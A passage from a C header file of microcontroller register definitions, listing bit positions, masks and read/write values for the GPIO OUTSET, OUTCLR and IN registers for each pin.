#define GPIO_OUTSET_PIN22_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN22_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 21 : Pin 21 */
#define GPIO_OUTSET_PIN21_Pos (21UL) /*!< Position of PIN21 field. */
#define GPIO_OUTSET_PIN21_Msk (0x1UL << GPIO_OUTSET_PIN21_Pos) /*!< Bit mask of PIN21 field. */
#define GPIO_OUTSET_PIN21_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN21_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN21_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 20 : Pin 20 */
#define GPIO_OUTSET_PIN20_Pos (20UL) /*!< Position of PIN20 field. */
#define GPIO_OUTSET_PIN20_Msk (0x1UL << GPIO_OUTSET_PIN20_Pos) /*!< Bit mask of PIN20 field. */
#define GPIO_OUTSET_PIN20_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN20_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN20_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 19 : Pin 19 */
#define GPIO_OUTSET_PIN19_Pos (19UL) /*!< Position of PIN19 field. */
#define GPIO_OUTSET_PIN19_Msk (0x1UL << GPIO_OUTSET_PIN19_Pos) /*!< Bit mask of PIN19 field. */
#define GPIO_OUTSET_PIN19_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN19_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN19_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 18 : Pin 18 */
#define GPIO_OUTSET_PIN18_Pos (18UL) /*!< Position of PIN18 field. */
#define GPIO_OUTSET_PIN18_Msk (0x1UL << GPIO_OUTSET_PIN18_Pos) /*!< Bit mask of PIN18 field. */
#define GPIO_OUTSET_PIN18_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN18_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN18_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 17 : Pin 17 */
#define GPIO_OUTSET_PIN17_Pos (17UL) /*!< Position of PIN17 field. */
#define GPIO_OUTSET_PIN17_Msk (0x1UL << GPIO_OUTSET_PIN17_Pos) /*!< Bit mask of PIN17 field. */
#define GPIO_OUTSET_PIN17_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN17_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN17_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 16 : Pin 16 */
#define GPIO_OUTSET_PIN16_Pos (16UL) /*!< Position of PIN16 field. */
#define GPIO_OUTSET_PIN16_Msk (0x1UL << GPIO_OUTSET_PIN16_Pos) /*!< Bit mask of PIN16 field. */
#define GPIO_OUTSET_PIN16_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN16_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN16_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 15 : Pin 15 */
#define GPIO_OUTSET_PIN15_Pos (15UL) /*!< Position of PIN15 field. */
#define GPIO_OUTSET_PIN15_Msk (0x1UL << GPIO_OUTSET_PIN15_Pos) /*!< Bit mask of PIN15 field. */
#define GPIO_OUTSET_PIN15_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN15_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN15_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 14 : Pin 14 */
#define GPIO_OUTSET_PIN14_Pos (14UL) /*!< Position of PIN14 field. */
#define GPIO_OUTSET_PIN14_Msk (0x1UL << GPIO_OUTSET_PIN14_Pos) /*!< Bit mask of PIN14 field. */
#define GPIO_OUTSET_PIN14_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN14_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN14_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 13 : Pin 13 */
#define GPIO_OUTSET_PIN13_Pos (13UL) /*!< Position of PIN13 field. */
#define GPIO_OUTSET_PIN13_Msk (0x1UL << GPIO_OUTSET_PIN13_Pos) /*!< Bit mask of PIN13 field. */
#define GPIO_OUTSET_PIN13_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN13_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN13_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 12 : Pin 12 */
#define GPIO_OUTSET_PIN12_Pos (12UL) /*!< Position of PIN12 field. */
#define GPIO_OUTSET_PIN12_Msk (0x1UL << GPIO_OUTSET_PIN12_Pos) /*!< Bit mask of PIN12 field. */
#define GPIO_OUTSET_PIN12_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN12_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN12_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 11 : Pin 11 */
#define GPIO_OUTSET_PIN11_Pos (11UL) /*!< Position of PIN11 field. */
#define GPIO_OUTSET_PIN11_Msk (0x1UL << GPIO_OUTSET_PIN11_Pos) /*!< Bit mask of PIN11 field. */
#define GPIO_OUTSET_PIN11_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN11_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN11_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 10 : Pin 10 */
#define GPIO_OUTSET_PIN10_Pos (10UL) /*!< Position of PIN10 field. */
#define GPIO_OUTSET_PIN10_Msk (0x1UL << GPIO_OUTSET_PIN10_Pos) /*!< Bit mask of PIN10 field. */
#define GPIO_OUTSET_PIN10_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN10_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN10_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 9 : Pin 9 */
#define GPIO_OUTSET_PIN9_Pos (9UL) /*!< Position of PIN9 field. */
#define GPIO_OUTSET_PIN9_Msk (0x1UL << GPIO_OUTSET_PIN9_Pos) /*!< Bit mask of PIN9 field. */
#define GPIO_OUTSET_PIN9_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN9_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN9_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 8 : Pin 8 */
#define GPIO_OUTSET_PIN8_Pos (8UL) /*!< Position of PIN8 field. */
#define GPIO_OUTSET_PIN8_Msk (0x1UL << GPIO_OUTSET_PIN8_Pos) /*!< Bit mask of PIN8 field. */
#define GPIO_OUTSET_PIN8_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN8_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN8_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 7 : Pin 7 */
#define GPIO_OUTSET_PIN7_Pos (7UL) /*!< Position of PIN7 field. */
#define GPIO_OUTSET_PIN7_Msk (0x1UL << GPIO_OUTSET_PIN7_Pos) /*!< Bit mask of PIN7 field. */
#define GPIO_OUTSET_PIN7_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN7_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN7_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 6 : Pin 6 */
#define GPIO_OUTSET_PIN6_Pos (6UL) /*!< Position of PIN6 field. */
#define GPIO_OUTSET_PIN6_Msk (0x1UL << GPIO_OUTSET_PIN6_Pos) /*!< Bit mask of PIN6 field. */
#define GPIO_OUTSET_PIN6_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN6_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN6_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 5 : Pin 5 */
#define GPIO_OUTSET_PIN5_Pos (5UL) /*!< Position of PIN5 field. */
#define GPIO_OUTSET_PIN5_Msk (0x1UL << GPIO_OUTSET_PIN5_Pos) /*!< Bit mask of PIN5 field. */
#define GPIO_OUTSET_PIN5_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN5_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN5_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 4 : Pin 4 */
#define GPIO_OUTSET_PIN4_Pos (4UL) /*!< Position of PIN4 field. */
#define GPIO_OUTSET_PIN4_Msk (0x1UL << GPIO_OUTSET_PIN4_Pos) /*!< Bit mask of PIN4 field. */
#define GPIO_OUTSET_PIN4_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN4_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN4_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 3 : Pin 3 */
#define GPIO_OUTSET_PIN3_Pos (3UL) /*!< Position of PIN3 field. */
#define GPIO_OUTSET_PIN3_Msk (0x1UL << GPIO_OUTSET_PIN3_Pos) /*!< Bit mask of PIN3 field. */
#define GPIO_OUTSET_PIN3_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN3_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN3_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 2 : Pin 2 */
#define GPIO_OUTSET_PIN2_Pos (2UL) /*!< Position of PIN2 field. */
#define GPIO_OUTSET_PIN2_Msk (0x1UL << GPIO_OUTSET_PIN2_Pos) /*!< Bit mask of PIN2 field. */
#define GPIO_OUTSET_PIN2_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN2_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN2_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 1 : Pin 1 */
#define GPIO_OUTSET_PIN1_Pos (1UL) /*!< Position of PIN1 field. */
#define GPIO_OUTSET_PIN1_Msk (0x1UL << GPIO_OUTSET_PIN1_Pos) /*!< Bit mask of PIN1 field. */
#define GPIO_OUTSET_PIN1_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN1_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN1_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 0 : Pin 0 */
#define GPIO_OUTSET_PIN0_Pos (0UL) /*!< Position of PIN0 field. */
#define GPIO_OUTSET_PIN0_Msk (0x1UL << GPIO_OUTSET_PIN0_Pos) /*!< Bit mask of PIN0 field. */
#define GPIO_OUTSET_PIN0_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN0_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN0_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Register: GPIO_OUTCLR */
/* Description: Clear individual bits in GPIO port */
/* Bit 31 : Pin 31 */
#define GPIO_OUTCLR_PIN31_Pos (31UL) /*!< Position of PIN31 field. */
#define GPIO_OUTCLR_PIN31_Msk (0x1UL << GPIO_OUTCLR_PIN31_Pos) /*!< Bit mask of PIN31 field. */
#define GPIO_OUTCLR_PIN31_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN31_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN31_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 30 : Pin 30 */
#define GPIO_OUTCLR_PIN30_Pos (30UL) /*!< Position of PIN30 field. */
#define GPIO_OUTCLR_PIN30_Msk (0x1UL << GPIO_OUTCLR_PIN30_Pos) /*!< Bit mask of PIN30 field. */
#define GPIO_OUTCLR_PIN30_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN30_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN30_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 29 : Pin 29 */
#define GPIO_OUTCLR_PIN29_Pos (29UL) /*!< Position of PIN29 field. */
#define GPIO_OUTCLR_PIN29_Msk (0x1UL << GPIO_OUTCLR_PIN29_Pos) /*!< Bit mask of PIN29 field. */
#define GPIO_OUTCLR_PIN29_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN29_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN29_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 28 : Pin 28 */
#define GPIO_OUTCLR_PIN28_Pos (28UL) /*!< Position of PIN28 field. */
#define GPIO_OUTCLR_PIN28_Msk (0x1UL << GPIO_OUTCLR_PIN28_Pos) /*!< Bit mask of PIN28 field. */
#define GPIO_OUTCLR_PIN28_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN28_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN28_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 27 : Pin 27 */
#define GPIO_OUTCLR_PIN27_Pos (27UL) /*!< Position of PIN27 field. */
#define GPIO_OUTCLR_PIN27_Msk (0x1UL << GPIO_OUTCLR_PIN27_Pos) /*!< Bit mask of PIN27 field. */
#define GPIO_OUTCLR_PIN27_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN27_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN27_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 26 : Pin 26 */
#define GPIO_OUTCLR_PIN26_Pos (26UL) /*!< Position of PIN26 field. */
#define GPIO_OUTCLR_PIN26_Msk (0x1UL << GPIO_OUTCLR_PIN26_Pos) /*!< Bit mask of PIN26 field. */
#define GPIO_OUTCLR_PIN26_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN26_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN26_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 25 : Pin 25 */
#define GPIO_OUTCLR_PIN25_Pos (25UL) /*!< Position of PIN25 field. */
#define GPIO_OUTCLR_PIN25_Msk (0x1UL << GPIO_OUTCLR_PIN25_Pos) /*!< Bit mask of PIN25 field. */
#define GPIO_OUTCLR_PIN25_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN25_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN25_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 24 : Pin 24 */
#define GPIO_OUTCLR_PIN24_Pos (24UL) /*!< Position of PIN24 field. */
#define GPIO_OUTCLR_PIN24_Msk (0x1UL << GPIO_OUTCLR_PIN24_Pos) /*!< Bit mask of PIN24 field. */
#define GPIO_OUTCLR_PIN24_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN24_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN24_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 23 : Pin 23 */
#define GPIO_OUTCLR_PIN23_Pos (23UL) /*!< Position of PIN23 field. */
#define GPIO_OUTCLR_PIN23_Msk (0x1UL << GPIO_OUTCLR_PIN23_Pos) /*!< Bit mask of PIN23 field. */
#define GPIO_OUTCLR_PIN23_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN23_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN23_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 22 : Pin 22 */
#define GPIO_OUTCLR_PIN22_Pos (22UL) /*!< Position of PIN22 field. */
#define GPIO_OUTCLR_PIN22_Msk (0x1UL << GPIO_OUTCLR_PIN22_Pos) /*!< Bit mask of PIN22 field. */
#define GPIO_OUTCLR_PIN22_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN22_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN22_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 21 : Pin 21 */
#define GPIO_OUTCLR_PIN21_Pos (21UL) /*!< Position of PIN21 field. */
#define GPIO_OUTCLR_PIN21_Msk (0x1UL << GPIO_OUTCLR_PIN21_Pos) /*!< Bit mask of PIN21 field. */
#define GPIO_OUTCLR_PIN21_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN21_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN21_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 20 : Pin 20 */
#define GPIO_OUTCLR_PIN20_Pos (20UL) /*!< Position of PIN20 field. */
#define GPIO_OUTCLR_PIN20_Msk (0x1UL << GPIO_OUTCLR_PIN20_Pos) /*!< Bit mask of PIN20 field. */
#define GPIO_OUTCLR_PIN20_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN20_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN20_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 19 : Pin 19 */
#define GPIO_OUTCLR_PIN19_Pos (19UL) /*!< Position of PIN19 field. */
#define GPIO_OUTCLR_PIN19_Msk (0x1UL << GPIO_OUTCLR_PIN19_Pos) /*!< Bit mask of PIN19 field. */
#define GPIO_OUTCLR_PIN19_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN19_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN19_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 18 : Pin 18 */
#define GPIO_OUTCLR_PIN18_Pos (18UL) /*!< Position of PIN18 field. */
#define GPIO_OUTCLR_PIN18_Msk (0x1UL << GPIO_OUTCLR_PIN18_Pos) /*!< Bit mask of PIN18 field. */
#define GPIO_OUTCLR_PIN18_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN18_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN18_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 17 : Pin 17 */
#define GPIO_OUTCLR_PIN17_Pos (17UL) /*!< Position of PIN17 field. */
#define GPIO_OUTCLR_PIN17_Msk (0x1UL << GPIO_OUTCLR_PIN17_Pos) /*!< Bit mask of PIN17 field. */
#define GPIO_OUTCLR_PIN17_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN17_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN17_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 16 : Pin 16 */
#define GPIO_OUTCLR_PIN16_Pos (16UL) /*!< Position of PIN16 field. */
#define GPIO_OUTCLR_PIN16_Msk (0x1UL << GPIO_OUTCLR_PIN16_Pos) /*!< Bit mask of PIN16 field. */
#define GPIO_OUTCLR_PIN16_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN16_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN16_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 15 : Pin 15 */
#define GPIO_OUTCLR_PIN15_Pos (15UL) /*!< Position of PIN15 field. */
#define GPIO_OUTCLR_PIN15_Msk (0x1UL << GPIO_OUTCLR_PIN15_Pos) /*!< Bit mask of PIN15 field. */
#define GPIO_OUTCLR_PIN15_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN15_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN15_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 14 : Pin 14 */
#define GPIO_OUTCLR_PIN14_Pos (14UL) /*!< Position of PIN14 field. */
#define GPIO_OUTCLR_PIN14_Msk (0x1UL << GPIO_OUTCLR_PIN14_Pos) /*!< Bit mask of PIN14 field. */
#define GPIO_OUTCLR_PIN14_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN14_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN14_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 13 : Pin 13 */
#define GPIO_OUTCLR_PIN13_Pos (13UL) /*!< Position of PIN13 field. */
#define GPIO_OUTCLR_PIN13_Msk (0x1UL << GPIO_OUTCLR_PIN13_Pos) /*!< Bit mask of PIN13 field. */
#define GPIO_OUTCLR_PIN13_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN13_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN13_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 12 : Pin 12 */
#define GPIO_OUTCLR_PIN12_Pos (12UL) /*!< Position of PIN12 field. */
#define GPIO_OUTCLR_PIN12_Msk (0x1UL << GPIO_OUTCLR_PIN12_Pos) /*!< Bit mask of PIN12 field. */
#define GPIO_OUTCLR_PIN12_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN12_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN12_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 11 : Pin 11 */
#define GPIO_OUTCLR_PIN11_Pos (11UL) /*!< Position of PIN11 field. */
#define GPIO_OUTCLR_PIN11_Msk (0x1UL << GPIO_OUTCLR_PIN11_Pos) /*!< Bit mask of PIN11 field. */
#define GPIO_OUTCLR_PIN11_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN11_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN11_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 10 : Pin 10 */
#define GPIO_OUTCLR_PIN10_Pos (10UL) /*!< Position of PIN10 field. */
#define GPIO_OUTCLR_PIN10_Msk (0x1UL << GPIO_OUTCLR_PIN10_Pos) /*!< Bit mask of PIN10 field. */
#define GPIO_OUTCLR_PIN10_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN10_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN10_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 9 : Pin 9 */
#define GPIO_OUTCLR_PIN9_Pos (9UL) /*!< Position of PIN9 field. */
#define GPIO_OUTCLR_PIN9_Msk (0x1UL << GPIO_OUTCLR_PIN9_Pos) /*!< Bit mask of PIN9 field. */
#define GPIO_OUTCLR_PIN9_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN9_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN9_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 8 : Pin 8 */
#define GPIO_OUTCLR_PIN8_Pos (8UL) /*!< Position of PIN8 field. */
#define GPIO_OUTCLR_PIN8_Msk (0x1UL << GPIO_OUTCLR_PIN8_Pos) /*!< Bit mask of PIN8 field. */
#define GPIO_OUTCLR_PIN8_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN8_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN8_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 7 : Pin 7 */
#define GPIO_OUTCLR_PIN7_Pos (7UL) /*!< Position of PIN7 field. */
#define GPIO_OUTCLR_PIN7_Msk (0x1UL << GPIO_OUTCLR_PIN7_Pos) /*!< Bit mask of PIN7 field. */
#define GPIO_OUTCLR_PIN7_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN7_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN7_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 6 : Pin 6 */
#define GPIO_OUTCLR_PIN6_Pos (6UL) /*!< Position of PIN6 field. */
#define GPIO_OUTCLR_PIN6_Msk (0x1UL << GPIO_OUTCLR_PIN6_Pos) /*!< Bit mask of PIN6 field. */
#define GPIO_OUTCLR_PIN6_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN6_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN6_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 5 : Pin 5 */
#define GPIO_OUTCLR_PIN5_Pos (5UL) /*!< Position of PIN5 field. */
#define GPIO_OUTCLR_PIN5_Msk (0x1UL << GPIO_OUTCLR_PIN5_Pos) /*!< Bit mask of PIN5 field. */
#define GPIO_OUTCLR_PIN5_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN5_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN5_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 4 : Pin 4 */
#define GPIO_OUTCLR_PIN4_Pos (4UL) /*!< Position of PIN4 field. */
#define GPIO_OUTCLR_PIN4_Msk (0x1UL << GPIO_OUTCLR_PIN4_Pos) /*!< Bit mask of PIN4 field. */
#define GPIO_OUTCLR_PIN4_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN4_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN4_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 3 : Pin 3 */
#define GPIO_OUTCLR_PIN3_Pos (3UL) /*!< Position of PIN3 field. */
#define GPIO_OUTCLR_PIN3_Msk (0x1UL << GPIO_OUTCLR_PIN3_Pos) /*!< Bit mask of PIN3 field. */
#define GPIO_OUTCLR_PIN3_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN3_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN3_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 2 : Pin 2 */
#define GPIO_OUTCLR_PIN2_Pos (2UL) /*!< Position of PIN2 field. */
#define GPIO_OUTCLR_PIN2_Msk (0x1UL << GPIO_OUTCLR_PIN2_Pos) /*!< Bit mask of PIN2 field. */
#define GPIO_OUTCLR_PIN2_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN2_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN2_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 1 : Pin 1 */
#define GPIO_OUTCLR_PIN1_Pos (1UL) /*!< Position of PIN1 field. */
#define GPIO_OUTCLR_PIN1_Msk (0x1UL << GPIO_OUTCLR_PIN1_Pos) /*!< Bit mask of PIN1 field. */
#define GPIO_OUTCLR_PIN1_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN1_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN1_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Bit 0 : Pin 0 */
#define GPIO_OUTCLR_PIN0_Pos (0UL) /*!< Position of PIN0 field. */
#define GPIO_OUTCLR_PIN0_Msk (0x1UL << GPIO_OUTCLR_PIN0_Pos) /*!< Bit mask of PIN0 field. */
#define GPIO_OUTCLR_PIN0_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTCLR_PIN0_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTCLR_PIN0_Clear (1UL) /*!< Write: writing a '1' sets the pin low; writing a '0' has no effect */
/* Register: GPIO_IN */
/* Description: Read GPIO port */
/* Bit 31 : Pin 31 */
#define GPIO_IN_PIN31_Pos (31UL) /*!< Position of PIN31 field. */
#define GPIO_IN_PIN31_Msk (0x1UL << GPIO_IN_PIN31_Pos) /*!< Bit mask of PIN31 field. */
#define GPIO_IN_PIN31_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN31_High (1UL) /*!< Pin input is high */
/* Bit 30 : Pin 30 */
#define GPIO_IN_PIN30_Pos (30UL) /*!< Position of PIN30 field. */
#define GPIO_IN_PIN30_Msk (0x1UL << GPIO_IN_PIN30_Pos) /*!< Bit mask of PIN30 field. */
#define GPIO_IN_PIN30_Low (0UL) /*!< Pin input is low */
#define GPIO_IN_PIN30_High (1UL) /*!< Pin input is high */
/* Bit 29 : Pin 29 */
#define GPIO_IN_PIN29_Pos (29UL) /*!< Position of PIN29 field. */
